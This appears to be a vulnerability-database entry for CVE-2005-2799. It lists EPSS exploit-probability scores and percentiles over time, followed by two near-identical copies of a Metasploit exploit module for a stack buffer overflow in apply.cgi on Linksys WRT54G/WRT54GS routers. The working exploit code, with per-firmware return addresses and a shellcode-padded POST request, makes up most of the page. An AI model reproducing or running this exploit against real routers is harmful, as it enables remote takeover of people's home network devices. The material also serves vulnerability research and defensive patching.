CVE-2005-2799 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	58.6%	–	–
2023-03-12	–	–	–	82.79%	–
2023-04-02	–	–	–	84.41%	–
2023-05-28	–	–	–	82.85%	–
2023-08-06	–	–	–	77.11%	–
2024-02-11	–	–	–	70.47%	–
2024-03-17	–	–	–	70.19%	–
2024-03-31	–	–	–	70.54%	–
2024-04-14	–	–	–	73.9%	–
2024-06-02	–	–	–	69.14%	–
2024-06-02	–	–	–	69.14%	–
2024-06-23	–	–	–	67.71%	–
2024-09-22	–	–	–	63.23%	–
2024-12-22	–	–	–	75.61%	–
2025-01-19	–	–	–	75.61%	–
2025-03-18	–	–	–	–	86.72%
2025-03-30	–	–	–	–	85.39%
2025-03-30	–	–	–	–	85.39,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	98%
2023-04-02	98%
2023-05-28	98%
2023-08-06	98%
2024-02-11	98%
2024-03-17	98%
2024-03-31	98%
2024-04-14	98%
2024-06-02	98%
2024-06-02	98%
2024-06-23	98%
2024-09-22	98%
2024-12-22	98%
2025-01-19	98%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Linksys apply.cgi buffer overflow', 'Description' => %q{ This module exploits a stack overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers. According to iDefense who discovered this vulnerability, all WRT54G versions prior to 4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected. }, 'Author' => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2005-2799'], [ 'OSVDB', '19389' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], ], 'Payload' => { #'BadChars' => "\x00", 'Space' => 10000, 'DisableNops' => true, }, 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux', 'Targets' => [ # the middle of the intersection is our generic address #((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16) [ 'Generic', { 'Bufaddr' => 0x10002b50}], [ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }], [ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }], [ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }], [ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }], [ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }], [ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }], ], 'DisclosureDate' => 'Sep 13 2005', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), Opt::RHOST('192.168.1.1') ], self.class) end # Approx size of the remaining space in the data segment after our buffer DataSegSize=0x4000 def exploit c = connect print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}") print_status("Shellcode length: #{payload.encoded.length}") addr = [target['Bufaddr']].pack('V') # original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00" # original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00" # Pointers in 2.02.6beta1 # | BIG BUFFER | Various structs and function pointers | ... | .ctors | .dtors | ... | .got | # | <- 10000 -> | **************************** Pad with return address *********************** # I know this is horrible :( - On the other side this is very generic :) post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4) #post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43" # res = send_request_cgi({ 'uri' => "/apply.cgi", # 'method' => 'POST', # 'data' => post_data }); # print_status("Malicious request sent, do_ej should be overwritten") req = c.request_cgi({ 'uri' => "/apply.cgi", 'method' => 'POST', 'data' => post_data }) c.send_request(req) print_status("Mayhem sent") # req=c.request_cgi('uri' => '/'); # c.send_request(req); # print_status("do_ej triggered") handler disconnect end end

## # $Id: linksys_apply_cgi.rb 10457 2010-09-24 16:55:38Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Linksys WRT54 Access Point apply.cgi Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers. According to iDefense who discovered this vulnerability, all WRT54G versions prior to 4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected. }, 'Author' => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10457 $', 'References' => [ [ 'CVE', '2005-2799'], [ 'OSVDB', '19389' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], ], 'Payload' => { #'BadChars' => "\x00", 'Space' => 10000, 'DisableNops' => true, }, 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux', 'Targets' => [ # the middle of the intersection is our generic address #((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16) [ 'Generic', { 'Bufaddr' => 0x10002b50}], [ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }], [ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }], [ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }], [ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }], [ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }], [ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }], ], 'DisclosureDate' => 'Sep 13 2005', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), Opt::RHOST('192.168.1.1') ], self.class) end # Approx size of the remaining space in the data segment after our buffer DataSegSize = 0x4000 def exploit c = connect print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}") print_status("Shellcode length: #{payload.encoded.length}") addr = [target['Bufaddr']].pack('V') # original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00" # original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00" # Pointers in 2.02.6beta1 # | BIG BUFFER | Various structs and function pointers | ... | .ctors | .dtors | ... | .got | # | <- 10000 -> | **************************** Pad with return address *********************** # I know this is horrible :( - On the other side this is very generic :) post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4) #post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43" # res = send_request_cgi({ 'uri' => "/apply.cgi", # 'method' => 'POST', # 'data' => post_data }); # print_status("Malicious request sent, do_ej should be overwritten") req = c.request_cgi({ 'uri' => "/apply.cgi", 'method' => 'POST', 'data' => post_data }) c.send_request(req) print_status("Mayhem sent") # req=c.request_cgi('uri' => '/'); # c.send_request(req); # print_status("do_ej triggered") handler disconnect end end